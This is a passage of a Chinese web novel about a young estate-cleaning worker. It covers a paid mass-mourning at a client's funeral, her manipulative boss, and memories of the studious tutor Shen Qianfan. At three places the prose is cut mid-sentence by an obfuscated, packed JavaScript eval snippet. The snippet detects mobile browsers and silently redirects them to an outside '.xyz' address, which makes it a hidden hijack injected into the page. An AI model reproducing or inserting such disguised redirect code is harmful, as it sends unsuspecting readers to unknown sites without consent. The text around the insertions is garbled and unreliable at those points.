可是不叫新生,又无法体现奶奶挣脱枷锁,破土新生的波澜壮阔经历。 这不仅是一家小店,更是奶奶受尽烈火焚烧,根折心不死的涅槃重生,它意义重大。 重生之福鼎肉片?听起来好像怪怪的! “有了,奶奶,我们就叫《创世纪之福鼎肉片》好吗,寓意你重获新生,自己主掌自己的命运。” “好好好,好响亮的名字,大家走过路过,一眼就能记住阿奶的店铺,以后生意一定红红火火。” 离开的路上,骆一梵忍不住将打包的肉片打开吃了。 从阿奶的小店到公司的路上,一共转了三次车,吃了五碗福鼎肉片。 是自己太馋了吗? 那肯定不是啊!!!骆一梵反思了半天,觉得念容奶奶做的肉片就是和寻常摊贩做的不一样。 那种口味,很熟悉,像母亲,像故乡。 原来这世上最好吃的就是妈妈做的饭,只可惜,打工后才知道。 ******* 一回到公司,发现科室的人都在披麻戴孝。 见到这种场面,骆一梵心里砰砰直跳,忙问同事:“咱们公司谁跳了?” 同事也给了她一套丧服,“没人跳楼,是老板又接了个活,这次全公司都得去,你也赶紧换上,一会别耽误客户的时辰。” “可这都快六点了,谁家办丧事这个点?” 同事悄悄嘀咕:“我日,还不是因为这个点客户下班了,可怜咱打工人,这次要加班到半夜了。” 时间匆忙,骆一梵只来得及戴个白帽子,腰间缠一块白布,怀里抱着小柴就出发了。 突然,同事大姐拦住了她,“骆一梵,我的活宝贝蛋啊!你怎么还没卸妆呀,涂那么红的口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579590|171583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红,咱是奔丧的,不是去喝喜酒的。” 骆一梵突然想起来,今天念容奶奶开业大吉,她特意画了个喜庆的妆庆祝,没曾想…… 喜事今天办,丧事也今天,今天到底是个什么黄道吉日啊??? 在路上方知,客户是逝者的亲弟弟,他花了大价钱请公司为兄长办丧礼。 逝者是一位老师,一辈子没结婚,无儿无女,这辈子最大的遗憾就是没有儿子,晚景凄凉,老了没人给他养老送终。 “谁说没儿子给你披麻戴孝,哥,你放心,有弟弟我在,你咽气后,我请一大堆儿女给你披麻戴孝,那什么孝子摔盆,烧枕头,烧纸钱,挂灵幡,总之,别人有的,你一个也不会少。” 老教师含笑离去,再无牵挂。 S城地铁口,一行人身着白衣白帽浩浩荡荡走来,唢呐,铙钹,灵幡,大盆,花圈,安检人员胆战心惊地检查着,生怕他们搞什么邪/教活动。 周围还有几位学生,以为这里是搞什么cos活动,还找骆一梵和小柴合影。 “头戴白布,这条狗狗好像中东石油王子。” “胡说,我们小柴哪有那么磕碜。”骆一梵脑中浮现出一个个又胖又丑的猪头。 一到灵堂,整个公司的员工包括老板,披麻戴孝,都齐刷刷地跪下,哭声及其夸张,但响彻云霄。 大家伙的演技着实给骆一梵看懵逼了,明明刚刚在地铁上大家还有说有笑拍照合影,怎么一进灵堂,瞬间就跟死了亲爹亲娘似的,哭得那叫一个惨烈! 卧槽,大家的演技真被职场给练出来了,炉火纯青啊。 骆一梵在队伍中眨巴着清澈愚蠢的大眼睛吃瓜,旁边的同事给她使个眼色,低声说:“看群消息。” 骆一梵偷偷打开手机,马上就弹出了群公告: “@全体成员,今天下午葬礼,全都给我哭出来,哭不出来扣五百,哭得好奖励二百。” 心中惊雷乍起,骆一梵赶紧放下小柴,捶胸顿足,大声哭嚎着: “爹,女儿来迟了。” “爹,你怎么就这么走了,爹,我的亲爹啊,你还没来得及送我出嫁,你怎么就走了。” 其中好几个字都喊破音了,骆一梵才不管,谁都不许扣她的小钱钱。 老板跪在队伍最前方,大喊:“爹,儿来了,孝子摔盆,您一路走好!” “汪汪,汪汪,汪。”小柴的吼叫与老板的声音遥遥呼应。 “嘭!”的一声,一个大瓦盆碎成了几片。 “爹,我们下辈子还做父子,我好好孝敬您。” “汪汪,汪汪,汪。” “爹,谁说您这辈子绝后了,从今天起,我就是您儿子,您黄泉好走,我在地上永远念着您。” “汪汪,汪汪,汪。” 此情此景亦不能用尴尬来形容,骆一梵赶紧抱着小柴离开灵堂。 “小柴,老板叫的不是你,别瞎答应。他可记仇了!” 离开灵堂时,骆一梵偷偷看了一眼老板,好家伙,哭得是眼泪鼻涕都下来了,这也太卖力了吧! 客户到底给了公司多少钱啊,能让老板这么哭爹喊娘? 骆一梵现在懂了为什么他是老板,自己是牛马,看来自己还是太要脸了,妆都没花。 这世道,拼的就是谁更不要脸,谁更狠,谁更不择手段,老实人还是太吃亏了。 12. 灵堂 记忆之中,老板一向是冷面,严肃,整日一副“你给我死一边去”的臭脸。 给员工开的工资只够在魔都租房,骆一梵找他理论,他高高在上地嚼着槟榔道: “骆一梵你给我听着,不是我故意压低你们薪水,而是你们就只配得上四千块,有多大本事才能领多大工资。” “话说回来,你们要真有什么大本事,可以马上跳槽到大公司,去领高薪,我举双手支持,可就凭你们?到那去能干啥,猪都比你们会得多,也不想想人家能要你们吗?” “这是社会,不是你们家,我是你们老板,不是慈善机构。” 新来的员工不懂规矩,拿了一瓶会议室的百岁山矿泉水解渴,他雷霆大怒: “我强调了多少次,公司里的矿泉水都是用来招待客户的,你们要想喝水,自己带,自己到楼下便利店买。” “md,一天天的,活没接几个,光会偷水了,公司是招员工的,不是养你们这些老鼠的。” “今天下班每个人回去把《员工守则》给我抄两遍,第二天交上来,一人犯错,全体受罚,记住,你们是一个team。” 据说,那位新员工那一整宿没睡着觉,骆一梵以为他会离职,可他依然在公司干着,呆着,熬着…… “能坐办公室总比送外卖好,送外卖,说不定哪天就被撞死了。” 可今天,灵堂里的一切都让骆一梵开了眼。 老板哭得那么心碎,跪在灵堂最前面,背弯得低低地,地上都是他的鼻涕眼泪。 (原来只要他想,他也能演出悲痛欲绝,撕心裂肺。)骆一梵心中感叹着。 前一段时间,公司有员工猝死。 在外(逝者家属),老板舌战群儒,逐个击破,以势压人,散播恐惧,将补偿款压到最低。 在内,他每次开会的时候故作悲伤,时不时就大声叹气,感叹命运无常,替那个员工惋惜,稳定军心。 骆一梵曾以为,紧皱眉头,扶额叹气,这就是老板演技巅峰了。 没想到,他真正的演技,从来都只用在客户身上。 她好奇地百度了下今天这个客户,果不其然,他是S城某上司公司的高管。 开追悼会的时候,骆一梵也得去凑人头,她还被安排了举手提问。 老教师,自然桃李满天下,又有一个上司公司高管的弟弟,他的追悼会,想必来了很多有头有脸的人物。 这种时候,自然是给自家公司植入广告的好时机。 老板念完悼词,一清嗓,骆一梵作为托有良好的时机嗅觉,赶紧举手提问: “请问您为什么要创办寂生公司?毕竟在国内,遗物清理师和遗物整理师算是小众职业。” “是这样,我自幼父母双亡,无依无靠,小时候就是捡垃圾吃,捡垃圾卖,捡垃圾穿。最穷的时候,掉在脏水里的饼,我都能拿回家洗洗吃了。” “刚开始,我捡垃圾的时候还避着人,趁着下午太阳最毒的时候出去,会把自己捡到的每一支笔收好,上学时才舍得用,回到家只敢用烂笔头,那些铅笔,比南孚电池还短,我现在还收藏着。” “没钱去食堂吃饭,但不敢让人知道,每天就装作困得要死,中午一打下课铃,就趴桌子上睡觉,其实那时候肚子饿得咕咕叫。”老板说完,苦笑了几下,台下有人鼓掌鼓励他继续说下去。 “没钱买衣服,全班都订校服,就我不订,老师同学都嫌我给班级丢脸,可他们不知道,只要捡到能穿得上身的衣服,不管是男的女的,我都穿,别人穿运动鞋,篮球鞋,我最好的鞋只有布鞋。” “大冬天我没有棉鞋穿,整天出门就一双拖鞋,一开始,脚冻得难受,冻麻了,有时候冻到受不了的时候,过一会,又能感觉到脚在发热。”说到这,老板的声音已经明显哽咽起来了。 台下有宾客极为动容,骆一梵偷偷翻了个白眼。 “因为穷,老师看不起我,同学也看不起我,我发现,这世间真正寒冷的不是逝者的体温,而是活人的目光。” “所以,我从小就不忌讳殡葬行业,我的第一桶金就是帮物业背尸体挣来的,尤其是夏天,有的尸体都化了,只有我敢进去,把里面一切都收拾好再出来。” “这个世界已经够寒冷了,更苍凉的是,这个社会从一开始就不需要我这样的蝼蚁存在,我唯一能做的就是,用自己的一点热血,一身莽劲,为逝者送去温暖,为生者带来慰藉。” “哪怕所有人都对往生者讳莫如深,我也愿意用自己的体温给他们取暖,送他们好好走完人生最后一程。” ……………………以下省略一万字说人话的“广告”。 追悼会结束的时候,骆一梵好好咀嚼了“捡垃圾”这三个字,突然想起来最近流行语:“你这样起号,你父母怎么办?”。 老板的父母,要是知道老板今日所作所为,怕是气得能捶死老板。 手机不断弹出消息通知,骆一梵一看,我们的小群怎么突然消息999+了? 没错,这个群是员工们自己偷偷建的,唯一一个没有老板在的群。 划拉半天,骆一梵不敢置信,什么,老板真是孤儿,真是捡垃圾长大的??? 群里所有员工讨论争辩了999+条消息,最后一致得出结论: 孤儿是真的,小时候吃过很多苦也是真的,但是创业,挣钱那段全是假的。 他开这个公司纯粹是为了挣钱,至于“为逝者送去温暖,为生者带来慰藉”,纯粹就是在放屁。 骆一梵第一次觉得她从未真正认识过老板,按理说,以他这么骄傲自负的性格,怎么会把心里的伤疤血淋淋地撕下来,还展示给一群商业名流看。 这对他来说,无异于裸奔啊?这不应该啊? 他被夺舍了? 大家在群里纷纷讨论,都感觉今天的老板不太正常,一时间,群里百家争鸣,八仙过海,各显身手。 (一到蛐蛐老板的私生活,同事们比工作都来劲,比挣钱都卖力,比拉屎都畅快。) “我是心理学硕士,这种在我们专业就是典型的【自我出卖型】,这种人,有强烈的生存恐惧和危机感,只信奉适者生存,为了工作,生活,人身安全,能出卖一切自尊,自爱,自我。简单地说,只要能挣钱,哭坟认爹,压榨员工,他什么都干得出来。” “在古代,他这种人都能亲自挥刀自宫认干爹。” (卧槽卧槽,你学历这么高,居然也进到殡葬行了,卧槽,这个专业就业这么难的吗?)骆一梵的关注点早已跑偏 “我是学哲学的,用康德的经验来说,人只要一息尚存,就摆脱不了将自己当作生产工具看待。” “对于康德来说,要么就是他太理想主义,要么就是他太残忍,因为不这样想,人很难解释自己为什么活着,是撒,人为啥要活着,活着多没劲。” “至于咱们老板,平时pua咱们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579591|171583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员工可以,别把自己给cpu了,我就不信他面对大家讲起自己的原生家庭心里真不痛,我不信他灵前认爹真的不觉得丢人现眼,他真应该感谢今天追悼会来的都是读过书的文明人,这要在我们屯,早把这种损色轰下去了。” (怎么感觉在咱们公司遇到学哲学的人,出乎意料又在情理之中!骆一梵想起前段时间刷到哲学生毕业送外卖,还以为是段子,如今只道是寻常。) “水个群,我是学社会学的,大学的时候没少做社会调查课题。我觉着吧,现在世面上的这些老板老总,哪个不是从尸山血海的商战中淌过来的,越是从底层爬上来的人,越是可怕。” “对于他们,混到这个地位,已经没有什么人性可言了。孤儿,捡垃圾,被歧视,这些放在普通人身上可能是撕心裂肺的痛苦。” “可这些对于老板那群人来说,世间的一切痛苦都不是痛苦,而是资源。孤儿,白手起家,不幸的童年,这些可以用来给自己树碑立传,可以立人设,可以博同情,可以转化成白花花的钞票,唯独不会用来悲伤。” “悲伤?痛苦?回忆又潮又湿,只会耽误他赚钱的速度。” (精辟,看来你小子学到了社会学的本质了,不过你既学了理论,又在社会上实践(上班)了,一定很厉害。) 骆一梵想起了网上的明星大V流量网红,争先恐后地对各种现象发表看法,身后跟着乌压压的一群牛鬼蛇神,给社会带来深远的影响,而真正的社会学学生只能和自己一样躲在出租屋偷偷在小群里蛐蛐老板。 “你的社会学学得很好,虽然没影响这个社会,但至少天天说人话给我们听,反正我受到了你的影响了,好的影响。”骆一梵在群里大打了一串字,像是在安慰他,又像是在安慰自己。 “哥们,家里啥背景,居然学社会学?”群里有人好奇。 “哥们自然是为了选冷门专业进好大学啊!早知道就去选考古了,至少人家那边好拿编制。” 骆一梵刚刚的神伤顿时烟消云散。 大家一起在群里蛐蛐老板,感怀自己来时的路,一聊就聊到半夜两点多。 第二天,开早会的样子可想而知。 老板一看到大家要死不活的状态,瞬间就颁布了一条公司新规。 上班没有精气神? 《关于以后工作日每人上班前运动半小时并打卡事项若干决议》 什么,以后每天上班前还要运动半小时,还要下个keep软件线上汇报运动量??? 这还是人过的日子吗??? 老板还在为自己想到这个绝美计划暗爽,叹服自己真是老板届不世出的天才。 老板椅一转,他再次面向员工,迅速收起资本家吸血鬼的嘴脸,转而语重心长地劝道: “大家的苦日子还长着呢!一定要好好锻炼身体,身体才是革命的本钱。” 骆一梵忍不住翻了个白眼,心里不禁怀疑,他真是人艹出来的玩意吗? 不不不,他一定是冷血动物披着 人皮装人,他背后一定有拉链。 (当初为什么非要当遗物守护师,我后悔了,现在转行还来得及吗?)骆一梵在心里哀嚎着。 回忆排山倒海袭来,她想起当初入行的缘由,心里一窒,好像不管过了多久,还是会痛。 时间会将一切轻描淡写,除了那件事。 越是想忘的事越是永远忘不掉,骆一梵知道,今晚又要睡不着了。 13. 为什么要当遗物守护师(上) 2014年暑假,世界杯像一把野火烧遍各个城市。 大人们整天都在谈论巴西和德国,荷兰和阿根廷,哥斯达黎加和澳大利亚。 陈如茜女士疯狂迷上了内马尔,美强惨总是很容易赢得看客的心。她并没有注意到骆一梵每天去市图书馆究竟在干什么。 十二岁的骆一梵站在书架前,像选妃一样挑来挑去。 《我与霸道总裁的十三年》,《重生之我是武皇》,《带球跑五年后我迎来火葬场》,《穿书逆天改命》,《孽缘:一人一城一生一世》,《国殇:倾尽天下》…… 博尔赫斯曾说,天堂应该是图书馆的样子。对此,骆一梵表示不能更赞同了。 书架最上面一层的《弁钗雪》吸引了骆一梵的注意力,她跑过去叫一个个高的男生过来帮她取下这本书。 等那男生过来时,书已经被一个老阿姨取下了。 “阿姨,是我先看到这本书的。”骆一梵拦住了她的去路。 “哎呀,小孩子要懂事,怎么跟我们老年人抢书看。”阿姨抱怨道。 “不行不行,这书架里的书我都快看完了,就这一本新书,我一定要看。”骆一梵眼看就要哭出来了。 “小朋友,要尊老爱幼,要不你就把这本书让给那位阿姨看吧!”一旁的大哥哥蹲下来哄她。 骆一梵干脆一屁股坐在了地上,开始闹了。 “这样吧,我来做裁判,我看看这本书的内容,适不适合你们,要是这本书是太深奥,小妹妹看不懂的话,你就让给阿姨。要是太幼稚,阿姨您就让给小妹妹,这样好吗。”大哥哥出面当和事佬。 骆一梵站了起来,阿姨想了想点点头,把书递过去。 大哥哥刚翻了两三页,立马就合上,脸和耳朵红得发烫。 “怎么样,怎么样,好看吗?”两人一脸期待地问。 男生脸上的表情似乎是便秘了十天,欲言又止,止言又欲。 ……沉默,是今晚的康桥。 图书馆的冷气呼呼吹着,好半天,男生支支吾吾道:“其实吧,我觉得你们俩都不适合看这本书。” “什么,你小子再说一遍,阿姨这么大年纪什么大风大浪没见过,什么书看不得?”阿姨假装生气,看得出来,她对这本书势在必得。 “兄弟,你是我找来的,怎么能不向着我呢!”骆一梵气势也不减。 男生支支吾吾地说道:“这本…书,它,它讲的是,唉,怎么说才好,就是古代那个状元和………他的书童的爱…爱……爱,情故事。” “就这,有啥大惊小怪的。现在年轻人怎么还没我们老太太开放。”阿姨不屑一顾。 “我要看,我要看。”骆一梵手舞足蹈。 “两个男的谈恋爱,这,有啥好看的,怪瘆人的。”男生不解。 最后的拉锯战是阿姨获胜,理由是骆一梵未满18周岁,不宜看此书。气得骆一梵狠狠踩了男生一脚。 “你个小脚哥哥,比裹小脚老太太还封建,大清早亡了,我看点古人谈谈恋爱怎么啦?” 阿姨潇潇洒洒地掏出借书卡带着《弁钗雪》回家了,路上经过菜市场的时候,顺路买个冰镇西瓜。 奇怪,怎么感觉后背凉飕飕的,光天化日,不会遇到了变态尾随男吧! 一想到女儿还在家里,她顿时警觉,连绕了三条路,终于逮住了跟踪之人。 “小妹妹,怎么是你啊?” 骆一梵贴在墙根处,扭扭捏捏,撅着嘴。 “我的天啊,大老远的路,你怎么跟这么久,好好好,书给你行了吧!” 骆一梵如获至宝,接过书就不撒手了。 “这书是用你的借书卡借的,我不能拿,不然妈妈会怪我的,这样吧,我去你家看,咱俩一起看。” “你个小丫头,人小鬼大,好好好,都听你的。” 就这样,阿姨牵着骆一梵回家了。 “阿姨,我该怎么称呼你啊?” “我姓沈,你就叫我沈奶奶吧。” “好的,沈姨。” 沈阿姨脸上有一丝不易察觉的微笑,心想,这小丫头嘴还挺甜的。 一回到家,沈千帆就出来迎接,帮妈妈提着西瓜。 “这是谁家的小屁孩啊?” “我是骆一梵,来看书的。” “介绍一下,这是我女儿,千帆,念书非常厉害,现在正在读博士。”沈姨介绍女儿时非常自豪。 沈千帆捏了捏骆一梵的小脸,给她切了一大块西瓜吃。 沈家客厅,骆一梵吃着西瓜,坐在沈姨的腿上,和她一起看书。沈千帆在一旁弹着古筝。 凉风习习,余音袅袅,当时只道是寻常。骆一梵曾以为,日子会一直这样宁静而美好。 快到饭点了,沈姨起身去厨房做饭。骆一梵走到沈千帆面前,悄悄问: “千帆姐姐,你知道攻是什么意思?受是什么意思吗?” 《春江花月夜》的曲一下子错了好几个音,都不连贯了。 “你小小年纪,问这个干嘛?”沈千帆拽拽道。 “书里有的东西我看不懂,我又怕沈姨笑话我没见过世面,所有只能问你了。” 沈千帆心里暗自庆幸,还好这些网文出版时把那些少儿不宜的内容全删减了,不然…… “千帆姐姐,你都是博士了,你肯定知道,求求你,告诉我呗。” “我念的是会计,又不是中文系。” “会计以后干啥啊?” “就是账房,怎么,你只看古人谈恋爱,不看现代霸总言情小说。” “我看的总裁都和女明星女秘书女大学生谈,没听说谁和会计谈。”骆一梵一本正经地答道。 “切,我们伟大又聪明的会计女还看不上那些超雄霸总。”沈千帆扬起了一边眉毛,自信满满。 被骆一梵缠得不耐烦了,沈千帆摆摆手: “好了好了,告诉你吧,两个男生谈恋爱,攻,顾名思义,就是比较凶的那一个,同理可得,受,就是受气包,比较柔弱的那一个。” 骆一梵想了想,好像确实是这么回事,她大大地“哦”了一声。 沈千帆继续低头弹古筝,在骆一梵不注意的时候偷偷松了口气。 那个夏天,三个宅女,在沈家不到二十平的客厅,吵吵闹闹,不亦乐乎。 这个小丫头每天来自己家看言情小说,风雨无阻,沈千帆看着骆一梵这样的熊孩子,直摇摇头。 “骆一梵,你这个年纪,怎么能天天看言情小说?你现在应该多做题,多预习开学后的课程。” “谁说的,我哪有天天看言情小时,我明明还看玄幻的,修仙的,权谋的,种田的。” “你天天看闲书还有理了是吗?”沈千帆气不打一处来,“再过两年就要中考了你知不知道啊?” “可是现在是暑假。” “那你暑假作业写了吗?难道要等到开学前的一个晚上极限熬夜补吗?” 骆一梵小脸微红,说不出来话。 最后,沈千帆给骆一梵下了最后通牒,从明天起,骆一梵每天要带着暑假作业来这里,每天至少要写3小时作业才能看闲书。 学霸对学渣彷佛有着天然的磁场压制,陈如茜女士苦口婆心地哄骆一梵写作业,她左耳进右耳出,可沈千帆寥寥几句,骆一梵就老老实实地背着书包来沈家了。 令骆一梵感到奇怪的是,三令五申让她写作业的是她沈千帆,辅导她几题就火山爆发的还是她沈千帆。 耳边时不时就传来沈千帆的恶魔嘶吼,耳膜都要被她震碎了。 “这个知识点刚刚不是跟你讲过吗?怎么还不会?” “不许抠手,再抠手就把你的爪子剁了喂狗。” “都说要认真读题,别一上来就列公式,你脑子是被屎堵住了吗,就不会转一转吗?” ………… 骆一梵嗷嗷大哭,嗓子哭哑了,人也哭累了,可是作业还是得写,真真是叫天天不应,叫地地不灵。 “千帆姐姐,我跟你无冤无仇,为什么要逼我写作业?” “我是替你妈管教你。” 骆一梵撇了下嘴:“你认识我妈吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579592|171583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你就替她管我,我妈都没你狠,她下班了天天搁家看世界杯呢!” 沈千帆拿尺子狠狠地敲了敲她的头,痛得骆一梵大叫。 “你妈妈一个人养着你,多辛苦!你怎么还不知道要好好学习报答她,你知道吗?要是把平时养你浪费的钱省出来,她现在还用得着在电视机前看世界杯,都可以直接买机票去里约热内卢,去马拉卡纳现场看世界杯。” 骆一梵想了想,眼眶红了。 沈千帆自然是知道单亲妈妈养孩子的不易,她从小就看见妈妈凌晨三点就起床去早市卖菜。 她们家不种地,菜都是在批发市场进货,然后自己带到摊子上卖。 好的菜在批发市场都是靠抢的,为母则刚,妈妈每天都抢得披头散发,一回来都像打完架似的。 其实卖菜挣不了多少钱,但上大学后,妈妈每个学期都能给她5000元生活费,丝毫不比别的同学少。 天啊,她都不敢想象,每天一块两块地攒,要攒多久才能攒够5000? 沈千帆从未见过骆一梵的妈妈,但她知道,单亲家庭要将女儿养得开开心心,没心没肺,那位妈妈一定独自背负了很多。 沈千帆很心疼那位母亲。 “骆一梵,你知道为什么我要拼命学习吗?念完研究生还要读博士?” “因为你要追帅哥。小说里的女主都是学霸。”骆一梵一脸天真无邪。 “放屁。” “那你要追美女吗?天呐,据说博士在拉拉圈很吃香!” 沈千帆举起尺子,骆一梵立刻不说话了。 “我努力学习,就是为了以后找个好工作,挣大钱,让我妈过上好日子。” “我觉得沈姨现在过得挺好的。”骆一梵边说边抠手。 沈千帆双手报臂,昂着头道:“好什么啊?我以后要让我妈过上真正的好日子。她喜欢看什么书就直接买,不用跑老远去图书馆借,不用跟年轻人抢书看。” “我要我妈住大房子,家里请保姆照顾她,不用她每天早起干活,不用她辛苦准备一日三餐。” “我要我妈身体不舒服不再舍不得去医院看病,不再一个人硬扛着。我要我妈报很多旅游团,把全世界都转一圈。” “我要让我妈吃得好,穿得好,用得好,衣食无忧,晚年幸福。” 骆一梵还是不懂:“我觉得能每天看小说睡懒觉已经很幸福了。” 沈千帆用力敲了敲骆一梵的脑壳:“你知道为什么你妈喜欢看足球,我妈喜欢看小说吗?” “因为我妈喜欢内马尔,你妈喜欢霸道总裁。” 沈千帆顿觉自己是个人物,就骆一梵这破悟性,自己还能忍着辅导她好几个小时,还能忍住不杀了她,这定力,都可以去跟A股大战八百回合。 “那是因为看电视和看闲书不用花钱。” “天下的妈妈都是一样的,她们这个年纪,肯定是喜欢到美容院美美容,买几个玉镯子金项链戴着,出门逛逛街,报个老年团到处旅旅游,种点漂亮花草,买些漂亮衣服,每天不用做饭,去大饭店里吃……” “骆一梵,你要努力,早点让你妈妈过上好日子。” 骆一梵点点头,嗯了一声:“我也要生个女儿,好好孝敬老娘我。” “啪—”的一声,沈千帆直接一巴掌拍在骆一梵后脑勺上。 一物降一物,那个夏天,骆一梵人生第一次将暑假作业认认真真完完整整地写完了。 后来的很多年,午夜梦回,骆一梵时不时梦到那个凶巴巴的姐姐在打敲她脑壳,大吼着:“为什么不好好学习,你这样对得起你妈妈吗?” “再不好好学习,我要抽死你。” 直到现在,骆一梵还会时不时梦到沈千帆,每当噩梦醒来,她都会安慰自己,没事没事,我已经毕业了,没事没事,沈千帆已经死了很多年了。 大脑一片混沌,谁,沈千帆,死了? 她怔了两瞬才反应过来,沈千帆确实死了。 那个意气风发无比傲娇的女孩,她永远地解脱了。骆一梵擦了擦眼泪,继续睡去了。 14. 为什么要当遗物守护师(中) 骆一梵读大学的那一年,沈姨已经搬进了大房子,手上戴着好看的戒指,脖子上也戴着珍珠项链。 人靠衣裳马靠鞍,她似乎是年轻了不少岁,一点也不像是五十多岁的人。 彼时,沈姨已经不爱看言情小说了,陈如茜女士也对足球热情退散。 街坊邻居时不时坐下来聊天,大家都在感慨菜场卖菜的老沈命好,熬出来了,闺女又孝顺又能赚钱。 “她怎么教的女儿,也忒邪性了,打小就听话,爱学习,工作也好,还不忘本。” “爹娘勤快儿女就懒,爹娘懒儿女就勤快,你看看老沈,天天喝茶逛街按摩网购,送快递的都快把她家门敲烂了。” “最气人的是,她现在根本不做饭,天天就点外卖,我这辈子还没吃过一顿外卖呢。” “这都是命,羡慕不来,咱还是老老实实地给儿女攒彩礼嫁妆吧!” “我腰椎间盘突出我家那小子都不舍得给我治,我还得给他攒钱娶媳妇,难受啊,早知道真应该要个闺女。” ………… 骆一梵升学宴的那天,沈姨特地来看她,给她包了一个很大的红包,送了她一台笔记本电脑,一个苹果手机,一个iPad。 “沈姨,您太客气了。” “拿着,以前卖菜的时候,太穷了,也就你们家不嫌弃,愿意跟我们家走动。” “沈大姐,这你就见外了,这些年,要不是千帆时不时盯着一梵的学习,怕是一梵早就跟我一起到厂里干活了。”陈如茜笑着说道。 骆一梵难为情地低下头。 沈姨拉着骆一梵的手:“一梵,你是要到S城念大学,巧了,千帆也在S城上班,你平时放假了就去找她,让她带着你好好玩玩。” 说罢,又拍了拍她的手,悄悄说:“大姑娘了,别整天看小说,没事多走走,我跟千帆说了,要是她公司里有什么不错的小伙,介绍给你认识认识。” “谢谢沈姨,不过我还是更喜欢纸片人。”骆一梵一脸坏笑。 陈如茜女士和沈姨一时笑倒。 ******** 到了灯红酒绿的S城,乱花渐欲迷人眼,骆一梵一玩就是一个多月。 快到国庆假期了,骆一梵才想起自己还没买车票,不过正好,她可以去找沈千帆玩。 消息是白天上课时发的,等沈千帆回消息,骆一梵正准备洗洗睡了。 “魔都有什么好玩的,来我公寓,我这里有好吃的外卖,各种音响,咱俩还能喝几杯。” 骆一梵不敢置信,反复确认微信昵称和备注。 “快说,你到底是谁,盗号可是违法的。” “???” 很快,那边劈里啪啦发来一串文字:“骆一梵,别逼我把你那些年看言情的黑历史爆出来,对了,你高中不是还追过一个男的,你确定让我都说出来。” “千帆姐姐,我错了,我只是没想到你工作后变化那么大。” 沈千帆在屏幕前一怔,我变了吗?我变什么了? 国庆的时候,骆一梵拖着行李箱来到了沈千帆的公寓,一进去就吓了一大跳。 “欢迎来到我的狗窝。”沈千帆已经醒好了酒。 天哪,这哪是人住的地方,衣服到处丢,沙发上,床上,桌子上,茶几上,就是不在衣柜上。 地上都是头发,外卖垃圾,快递盒,红酒瓶。 书柜里没有一本书,全是各种红酒,白酒,果酒。 音箱里在放什么玩意啊,我还是从前那个少年?抖音神曲??? 骆一梵明明记得沈千帆以前是那么自律爱干净品味高的御姐啊? 沈千帆看出了她的震惊,抿了一口酒,冷冷丢了一句:“别告诉我妈。” 望着沈千帆不怒自威睥睨刍狗的神色,骆一梵抿着嘴乖巧地点头。 沈千帆将手机递过去,“想吃什么就点,我这只有外卖和酒。” 骆一梵一边惊惧害怕,一边熟练地打开外卖软件,一个不落地点起了奶茶,炸鸡,水果,肉蟹煲,烧烤,还不忘备注三分糖,不要葱。 “千…帆…姐姐,点…点好了。” “嗯。” 骆一梵小心翼翼地将手机双手呈上。 “怎么那么怕我,你又不是我公司里的员工,我可弄不死你。” “没,没有,就是觉得,你,你,现在,杀气好重。”骆一梵话都说不清楚了。 沈千帆挑眉一笑:“你怎么知道我杀过人,还不止一个。” 骆一梵倒抽一口凉气,想跑,但是腿直哆嗦,死活也站不起来。 沈千帆娓娓道来:“没事,无非就是有几个高管被我送进去了,公司讲究狼性竞争,爬得越高,摔得越惨罢了,他们不进去,被摔死的就是我。” “哼,说得好听点是让大家互相学习,放屁,就是你死我活,你斗我,我斗你。” “对了,还有几个员工,我也就是让他们多熬几个大夜,赶在月底前把报表整理出来,可干着干着就猝死了,表还是没做完。” “下面有几个年纪大的老骨头,受不了,直接跳楼了,想想真是聪明,在公司跳,家属捞了一大笔补偿金,也不用愁下半辈子了,他们死了一了百了,什么工作都不用干了,双赢啊。” ………… 骆一梵嘴上不停吃着外卖,心里却一直在捋着事情的来龙去脉。 (沈千帆怎么变成这样了,她那公司到底是什么奥斯维辛集中营啊,怎么又是猝死,又是跳楼,又是内斗???) 沈千帆看着骆一梵十分专注地大口吃肉,不解:“有那么好吃吗,满嘴都是油。” 说罢,便给骆一梵擦了擦嘴角。 “千帆姐姐,我觉得,职场正在扭曲你,你现在都快弯成蚊香了,要不你换个公司吧。” 沈千帆手上动作一顿,“签过了竞业协议,再说,职场都是这样,私企一个比一个狠。” 骆一梵冥思苦想,凭她多年看小说的经验,沈千帆现在的处境就好比是权谋小说里的寒门子弟,一入官场深似海,从此小骆是路人; 像是宫斗文里的祸国妖妃,看似荣宠无限,实则脚下的虚浮只有自己知道,说不定哪天就被皇上打入冷宫了; 也像是宅斗文里的庶出小姐,想要什么都得自己去筹谋,机关算尽,玲珑心窍,但怎么扑腾还是扑腾不出那个深宅大院。 